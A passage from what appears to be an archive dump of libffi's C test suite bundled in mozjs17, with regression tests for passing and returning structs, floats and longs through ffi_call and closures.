&cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &h_dbl; args_dbl[1] = &j_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_9byte_fn), &res_dbl, args_dbl); /* { dg-output "7 8 1 9: 8 17" } */ printf("res: %d %g\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 8 17" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_9byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_9byte(*)(cls_struct_9byte, cls_struct_9byte))(code))(h_dbl, j_dbl); /* { dg-output "\n7 8 1 9: 8 17" } */ printf("res: %d %g\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 8 17" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_12byte.c0000664000175000017500000000474212106270662025065 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_12byte { int a; int b; int c; } cls_struct_12byte; cls_struct_12byte cls_struct_12byte_fn(struct cls_struct_12byte b1, struct cls_struct_12byte b2) { struct cls_struct_12byte result; result.a = b1.a + b2.a; result.b = b1.b + b2.b; result.c = b1.c + b2.c; printf("%d %d %d %d %d %d: %d %d %d\n", b1.a, b1.b, b1.c, b2.a, b2.b, b2.c, result.a, result.b, result.c); return result; } static void cls_struct_12byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args , void* userdata __UNUSED__) { struct cls_struct_12byte b1, b2; b1 = *(struct cls_struct_12byte*)(args[0]); b2 = *(struct cls_struct_12byte*)(args[1]); *(cls_struct_12byte*)resp = cls_struct_12byte_fn(b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_12byte h_dbl = { 7, 4, 9 }; struct cls_struct_12byte j_dbl = { 1, 5, 3 }; struct cls_struct_12byte res_dbl; cls_struct_fields[0] = &ffi_type_sint; cls_struct_fields[1] = &ffi_type_sint; cls_struct_fields[2] = &ffi_type_sint; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &h_dbl; args_dbl[1] = &j_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_12byte_fn), &res_dbl, args_dbl); /* { dg-output "7 4 9 1 5 3: 8 9 12" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 8 9 12" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_12byte_gn, NULL, code) == FFI_OK); res_dbl.a = 0; res_dbl.b = 0; res_dbl.c = 0; res_dbl = ((cls_struct_12byte(*)(cls_struct_12byte, cls_struct_12byte))(code))(h_dbl, j_dbl); /* { dg-output "\n7 4 9 1 5 3: 8 9 12" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 8 9 12" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/pyobjc-tc.c0000664000175000017500000000460612106270662025007 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check different structures. Limitations: none. PR: none. Originator: Ronald Oussoren 20030824 */ /* { dg-do run } */ #include "ffitest.h" typedef struct Point { float x; float y; } Point; typedef struct Size { float h; float w; } Size; typedef struct Rect { Point o; Size s; } Rect; int doit(int o, char* s, Point p, Rect r, int last) { printf("CALLED WITH %d %s {%f %f} {{%f %f} {%f %f}} %d\n", o, s, p.x, p.y, r.o.x, r.o.y, r.s.h, r.s.w, last); return 42; } int main(void) { ffi_type point_type; ffi_type size_type; ffi_type rect_type; ffi_cif cif; ffi_type* arglist[6]; void* values[6]; int r; /* * First set up FFI types for the 3 struct types */ point_type.size = 0; /*sizeof(Point);*/ point_type.alignment = 0; /*__alignof__(Point);*/ point_type.type = FFI_TYPE_STRUCT; point_type.elements = malloc(3 * sizeof(ffi_type*)); point_type.elements[0] = &ffi_type_float; point_type.elements[1] = &ffi_type_float; point_type.elements[2] = NULL; size_type.size = 0;/* sizeof(Size);*/ size_type.alignment = 0;/* __alignof__(Size);*/ size_type.type = FFI_TYPE_STRUCT; size_type.elements = malloc(3 * sizeof(ffi_type*)); size_type.elements[0] = &ffi_type_float; size_type.elements[1] = &ffi_type_float; size_type.elements[2] = NULL; rect_type.size = 0;/*sizeof(Rect);*/ rect_type.alignment =0;/* __alignof__(Rect);*/ rect_type.type = FFI_TYPE_STRUCT; rect_type.elements = malloc(3 * sizeof(ffi_type*)); rect_type.elements[0] = &point_type; rect_type.elements[1] = &size_type; rect_type.elements[2] = NULL; /* * Create a CIF */ arglist[0] = &ffi_type_sint; arglist[1] = &ffi_type_pointer; arglist[2] = &point_type; arglist[3] = &rect_type; arglist[4] = &ffi_type_sint; arglist[5] = NULL; r = ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 5, &ffi_type_sint, arglist); if (r != FFI_OK) { abort(); } /* And call the function through the CIF */ { Point p = { 1.0, 2.0 }; Rect r = { { 9.0, 10.0}, { -1.0, -2.0 } }; int o = 0; int l = 42; char* m = "myMethod"; ffi_arg result; values[0] = &o; values[1] = &m; values[2] = &p; values[3] = &r; values[4] = &l; values[5] = NULL; printf("CALLING WITH %d %s {%f %f} {{%f %f} {%f %f}} %d\n", o, m, p.x, p.y, r.o.x, r.o.y, r.s.h, r.s.w, l); ffi_call(&cif, FFI_FN(doit), &result, values); printf ("The result is %d\n", (int)result); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/stret_large.c0000664000175000017500000001113412106270662025422 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure returning with different structure size. Depending on the ABI. Check bigger struct which overlaps the gp and fp register count on Darwin/AIX/ppc64. Limitations: none. PR: none. Originator: Blake Chaffin 6/21/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ #include "ffitest.h" // 13 FPRs: 104 bytes // 14 FPRs: 112 bytes typedef struct struct_108byte { double a; double b; double c; double d; double e; double f; double g; double h; double i; double j; double k; double l; double m; int n; } struct_108byte; struct_108byte cls_struct_108byte_fn( struct_108byte b0, struct_108byte b1, struct_108byte b2, struct_108byte b3) { struct_108byte result; result.a = b0.a + b1.a + b2.a + b3.a; result.b = b0.b + b1.b + b2.b + b3.b; result.c = b0.c + b1.c + b2.c + b3.c; result.d = b0.d + b1.d + b2.d + b3.d; result.e = b0.e + b1.e + b2.e + b3.e; result.f = b0.f + b1.f + b2.f + b3.f; result.g = b0.g + b1.g + b2.g + b3.g; result.h = b0.h + b1.h + b2.h + b3.h; result.i = b0.i + b1.i + b2.i + b3.i; result.j = b0.j + b1.j + b2.j + b3.j; result.k = b0.k + b1.k + b2.k + b3.k; result.l = b0.l + b1.l + b2.l + b3.l; result.m = b0.m + b1.m + b2.m + b3.m; result.n = b0.n + b1.n + b2.n + b3.n; printf("%g %g %g %g %g %g %g %g %g %g %g %g %g %d\n", result.a, result.b, result.c, result.d, result.e, result.f, result.g, result.h, result.i, result.j, result.k, result.l, result.m, result.n); return result; } static void cls_struct_108byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct_108byte b0, b1, b2, b3; b0 = *(struct_108byte*)(args[0]); b1 = *(struct_108byte*)(args[1]); b2 = *(struct_108byte*)(args[2]); b3 = *(struct_108byte*)(args[3]); *(struct_108byte*)resp = cls_struct_108byte_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[15]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct_108byte e_dbl = { 9.0, 2.0, 6.0, 5.0, 3.0, 4.0, 8.0, 1.0, 1.0, 2.0, 3.0, 7.0, 2.0, 7 }; struct_108byte f_dbl = { 1.0, 2.0, 3.0, 7.0, 2.0, 5.0, 6.0, 7.0, 4.0, 5.0, 7.0, 9.0, 1.0, 4 }; struct_108byte g_dbl = { 4.0, 5.0, 7.0, 9.0, 1.0, 1.0, 2.0, 9.0, 8.0, 6.0, 1.0, 4.0, 0.0, 3 }; struct_108byte h_dbl = { 8.0, 6.0, 1.0, 4.0, 0.0, 3.0, 3.0, 1.0, 9.0, 2.0, 6.0, 5.0, 3.0, 2 }; struct_108byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_double; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = &ffi_type_double; cls_struct_fields[5] = &ffi_type_double; cls_struct_fields[6] = &ffi_type_double; cls_struct_fields[7] = &ffi_type_double; cls_struct_fields[8] = &ffi_type_double; cls_struct_fields[9] = &ffi_type_double; cls_struct_fields[10] = &ffi_type_double; cls_struct_fields[11] = &ffi_type_double; cls_struct_fields[12] = &ffi_type_double; cls_struct_fields[13] = &ffi_type_sint32; cls_struct_fields[14] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = &cls_struct_type; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_108byte_fn), &res_dbl, args_dbl); /* { dg-output "22 15 17 25 6 13 19 18 22 15 17 25 6 16" } */ printf("res: %g %g %g %g %g %g %g %g %g %g %g %g %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i, res_dbl.j, res_dbl.k, res_dbl.l, res_dbl.m, res_dbl.n); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 22 15 17 25 6 16" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_108byte_gn, NULL, code) == FFI_OK); res_dbl = ((struct_108byte(*)(struct_108byte, struct_108byte, struct_108byte, struct_108byte))(code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n22 15 17 25 6 13 19 18 22 15 17 25 6 16" } */ printf("res: %g %g %g %g %g %g %g %g %g %g %g %g %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i, res_dbl.j, res_dbl.k, res_dbl.l, res_dbl.m, res_dbl.n); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 22 15 17 25 6 16" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_sl.c0000664000175000017500000000133312106270662025124 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check if long as return type is handled correctly. Limitations: none. PR: none. */ /* { dg-do run } */ #include "ffitest.h" static long return_sl(long l1, long l2) { return l1 - l2; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg res; unsigned long l1, l2; args[0] = &ffi_type_slong; args[1] = &ffi_type_slong; values[0] = &l1; values[1] = &l2; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_slong, args) == FFI_OK); l1 = 1073741823L; l2 = 1073741824L; ffi_call(&cif, FFI_FN(return_sl), &res, values); printf("res: %ld, %ld\n", (long)res, l1 - l2); /* { dg-output "res: -1, -1" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct4.c0000664000175000017500000000533312106270662026065 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: PR 25630. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { double a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; static B B_fn(struct A b2, struct B b3) { struct B result; result.x.a = b2.a + b3.x.a; result.x.b = b2.b + b3.x.b + b3.y; result.y = b2.b + b3.x.b; printf("%d %d %d %d %d: %d %d %d\n", (int)b2.a, b2.b, (int)b3.x.a, b3.x.b, b3.y, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); *(B*)resp = B_fn(b0, b1); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type cls_struct_type, cls_struct_type1; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; struct A e_dbl = { 1.0, 7}; struct B f_dbl = {{12.0 , 127}, 99}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B))(code))(e_dbl, f_dbl); /* { dg-output "\n1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/float1.c0000664000175000017500000000213212106270662024273 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value double. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" #include "float.h" typedef union { double d; unsigned char c[sizeof (double)]; } value_type; #define CANARY 0xba static double dblit(float f) { return f/3.0; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; float f; value_type result[2]; unsigned int i; args[0] = &ffi_type_float; values[0] = &f; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_double, args) == FFI_OK); f = 3.14159; /* Put a canary in the return array. This is a regression test for a buffer overrun. */ memset(result[1].c, CANARY, sizeof (double)); ffi_call(&cif, FFI_FN(dblit), &result[0].d, values); /* These are not always the same!! Check for a reasonable delta */ CHECK(result[0].d - dblit(f) < DBL_EPSILON); /* Check the canary. */ for (i = 0; i < sizeof (double); ++i) CHECK(result[1].c[i] == CANARY); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn1.c0000664000175000017500000000547112106270662025336 0ustar sstanglsstangl/* Area: closure_call. Purpose: Check multiple values passing from different type. Also, exceed the limit of gpr and fpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn1(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(float *)args[0] +(int)(*(float *)args[1]) + (int)(*(float *)args[2]) + (int)*(float *)args[3] + (int)(*(signed short *)args[4]) + (int)(*(float *)args[5]) + (int)*(float *)args[6] + (int)(*(int *)args[7]) + (int)(*(double*)args[8]) + (int)*(int *)args[9] + (int)(*(int *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(int *)args[13]) + (int)(*(int *)args[14]) + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(float *)args[0], (int)(*(float *)args[1]), (int)(*(float *)args[2]), (int)*(float *)args[3], (int)(*(signed short *)args[4]), (int)(*(float *)args[5]), (int)*(float *)args[6], (int)(*(int *)args[7]), (int)(*(double *)args[8]), (int)*(int *)args[9], (int)(*(int *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(int *)args[13]), (int)(*(int *)args[14]), *(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type1)(float, float, float, float, signed short, float, float, int, double, int, int, float, int, int, int, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int res; cl_arg_types[0] = &ffi_type_float; cl_arg_types[1] = &ffi_type_float; cl_arg_types[2] = &ffi_type_float; cl_arg_types[3] = &ffi_type_float; cl_arg_types[4] = &ffi_type_sshort; cl_arg_types[5] = &ffi_type_float; cl_arg_types[6] = &ffi_type_float; cl_arg_types[7] = &ffi_type_sint; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = &ffi_type_sint; cl_arg_types[10] = &ffi_type_sint; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_sint; cl_arg_types[13] = &ffi_type_sint; cl_arg_types[14] = &ffi_type_sint; cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn1, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type1)code)) (1.1, 2.2, 3.3, 4.4, 127, 5.5, 6.6, 8, 9, 10, 11, 12.0, 13, 19, 21, 1); /* { dg-output "1 2 3 4 127 5 6 8 9 10 11 12 13 19 21 1 3: 255" } */ printf("res: %d\n",res); /* { dg-output "\nres: 255" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/float.c0000664000175000017500000000207412106270662024217 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value float. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" static int floating(int a, float b, double c, long double d) { int i; i = (int) ((float)a/b + ((float)c/(float)d)); return i; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; float f; signed int si1; double d; long double ld; args[0] = &ffi_type_sint; values[0] = &si1; args[1] = &ffi_type_float; values[1] = &f; args[2] = &ffi_type_double; values[2] = &d; args[3] = &ffi_type_longdouble; values[3] = &ld; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_sint, args) == FFI_OK); si1 = 6; f = 3.14159; d = (double)1.0/(double)3.0; ld = 2.71828182846L; floating (si1, f, d, ld); ffi_call(&cif, FFI_FN(floating), &rint, values); printf ("%d vs %d\n", (int)rint, floating (si1, f, d, ld)); CHECK((int)rint == floating(si1, f, d, ld)); exit (0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct.c0000664000175000017500000001112712106270662025777 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_16byte1 { double a; float b; int c; } cls_struct_16byte1; typedef struct cls_struct_16byte2 { int ii; double dd; float ff; } cls_struct_16byte2; typedef struct cls_struct_combined { cls_struct_16byte1 d; cls_struct_16byte2 e; } cls_struct_combined; cls_struct_combined cls_struct_combined_fn(struct cls_struct_16byte1 b0, struct cls_struct_16byte2 b1, struct cls_struct_combined b2) { struct cls_struct_combined result; result.d.a = b0.a + b1.dd + b2.d.a; result.d.b = b0.b + b1.ff + b2.d.b; result.d.c = b0.c + b1.ii + b2.d.c; result.e.ii = b0.c + b1.ii + b2.e.ii; result.e.dd = b0.a + b1.dd + b2.e.dd; result.e.ff = b0.b + b1.ff + b2.e.ff; printf("%g %g %d %d %g %g %g %g %d %d %g %g: %g %g %d %d %g %g\n", b0.a, b0.b, b0.c, b1.ii, b1.dd, b1.ff, b2.d.a, b2.d.b, b2.d.c, b2.e.ii, b2.e.dd, b2.e.ff, result.d.a, result.d.b, result.d.c, result.e.ii, result.e.dd, result.e.ff); return result; } static void cls_struct_combined_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_16byte1 b0; struct cls_struct_16byte2 b1; struct cls_struct_combined b2; b0 = *(struct cls_struct_16byte1*)(args[0]); b1 = *(struct cls_struct_16byte2*)(args[1]); b2 = *(struct cls_struct_combined*)(args[2]); *(cls_struct_combined*)resp = cls_struct_combined_fn(b0, b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[5]; ffi_type* cls_struct_fields1[5]; ffi_type* cls_struct_fields2[5]; ffi_type cls_struct_type, cls_struct_type1, cls_struct_type2; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; cls_struct_type2.size = 0; cls_struct_type2.alignment = 0; cls_struct_type2.type = FFI_TYPE_STRUCT; cls_struct_type2.elements = cls_struct_fields2; struct cls_struct_16byte1 e_dbl = { 9.0, 2.0, 6}; struct cls_struct_16byte2 f_dbl = { 1, 2.0, 3.0}; struct cls_struct_combined g_dbl = {{4.0, 5.0, 6}, {3, 1.0, 8.0}}; struct cls_struct_combined res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_float; cls_struct_fields[2] = &ffi_type_sint; cls_struct_fields[3] = NULL; cls_struct_fields1[0] = &ffi_type_sint; cls_struct_fields1[1] = &ffi_type_double; cls_struct_fields1[2] = &ffi_type_float; cls_struct_fields1[3] = NULL; cls_struct_fields2[0] = &cls_struct_type; cls_struct_fields2[1] = &cls_struct_type1; cls_struct_fields2[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = &cls_struct_type2; dbl_arg_types[3] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &cls_struct_type2, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = NULL; ffi_call(&cif, FFI_FN(cls_struct_combined_fn), &res_dbl, args_dbl); /* { dg-output "9 2 6 1 2 3 4 5 6 3 1 8: 15 10 13 10 12 13" } */ CHECK( res_dbl.d.a == (e_dbl.a + f_dbl.dd + g_dbl.d.a)); CHECK( res_dbl.d.b == (e_dbl.b + f_dbl.ff + g_dbl.d.b)); CHECK( res_dbl.d.c == (e_dbl.c + f_dbl.ii + g_dbl.d.c)); CHECK( res_dbl.e.ii == (e_dbl.c + f_dbl.ii + g_dbl.e.ii)); CHECK( res_dbl.e.dd == (e_dbl.a + f_dbl.dd + g_dbl.e.dd)); CHECK( res_dbl.e.ff == (e_dbl.b + f_dbl.ff + g_dbl.e.ff)); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_combined_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_combined(*)(cls_struct_16byte1, cls_struct_16byte2, cls_struct_combined)) (code))(e_dbl, f_dbl, g_dbl); /* { dg-output "\n9 2 6 1 2 3 4 5 6 3 1 8: 15 10 13 10 12 13" } */ CHECK( res_dbl.d.a == (e_dbl.a + f_dbl.dd + g_dbl.d.a)); CHECK( res_dbl.d.b == (e_dbl.b + f_dbl.ff + g_dbl.d.b)); CHECK( res_dbl.d.c == (e_dbl.c + f_dbl.ii + g_dbl.d.c)); CHECK( res_dbl.e.ii == (e_dbl.c + f_dbl.ii + g_dbl.e.ii)); CHECK( res_dbl.e.dd == (e_dbl.a + f_dbl.dd + g_dbl.e.dd)); CHECK( res_dbl.e.ff == (e_dbl.b + f_dbl.ff + g_dbl.e.ff)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_multi_uchar.c0000664000175000017500000000434712106270662026274 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check passing of multiple unsigned char values. Limitations: none. PR: PR13221. Originator: 20031129 */ /* { dg-do run } */ #include "ffitest.h" unsigned char test_func_fn(unsigned char a1, unsigned char a2, unsigned char a3, unsigned char a4) { unsigned char result; result = a1 + a2 + a3 + a4; printf("%d %d %d %d: %d\n", a1, a2, a3, a4, result); return result; } static void test_func_gn(ffi_cif *cif __UNUSED__, void *rval, void **avals, void *data __UNUSED__) { unsigned char a1, a2, a3, a4; a1 = *(unsigned char *)avals[0]; a2 = *(unsigned char *)avals[1]; a3 = *(unsigned char *)avals[2]; a4 = *(unsigned char *)avals[3]; *(ffi_arg *)rval = test_func_fn(a1, a2, a3, a4); } typedef unsigned char (*test_type)(unsigned char, unsigned char, unsigned char, unsigned char); void test_func(ffi_cif *cif __UNUSED__, void *rval __UNUSED__, void **avals, void *data __UNUSED__) { printf("%d %d %d %d\n", *(unsigned char *)avals[0], *(unsigned char *)avals[1], *(unsigned char *)avals[2], *(unsigned char *)avals[3]); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void * args_dbl[5]; ffi_type * cl_arg_types[5]; ffi_arg res_call; unsigned char a, b, c, d, res_closure; a = 1; b = 2; c = 127; d = 125; args_dbl[0] = &a; args_dbl[1] = &b; args_dbl[2] = &c; args_dbl[3] = &d; args_dbl[4] = NULL; cl_arg_types[0] = &ffi_type_uchar; cl_arg_types[1] = &ffi_type_uchar; cl_arg_types[2] = &ffi_type_uchar; cl_arg_types[3] = &ffi_type_uchar; cl_arg_types[4] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_uchar, cl_arg_types) == FFI_OK); ffi_call(&cif, FFI_FN(test_func_fn), &res_call, args_dbl); /* { dg-output "1 2 127 125: 255" } */ printf("res: %d\n", (unsigned char)res_call); /* { dg-output "\nres: 255" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, test_func_gn, NULL, code) == FFI_OK); res_closure = (*((test_type)code))(1, 2, 127, 125); /* { dg-output "\n1 2 127 125: 255" } */ printf("res: %d\n", res_closure); /* { dg-output "\nres: 255" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct2.c0000664000175000017500000000530412106270662026061 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20030911 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { unsigned long a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; B B_fn(struct A b0, struct B b1) { struct B result; result.x.a = b0.a + b1.x.a; result.x.b = b0.b + b1.x.b + b1.y; result.y = b0.b + b1.x.b; printf("%lu %d %lu %d %d: %lu %d %d\n", b0.a, b0.b, b1.x.a, b1.x.b, b1.y, result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); *(B*)resp = B_fn(b0, b1); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type cls_struct_type, cls_struct_type1; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; 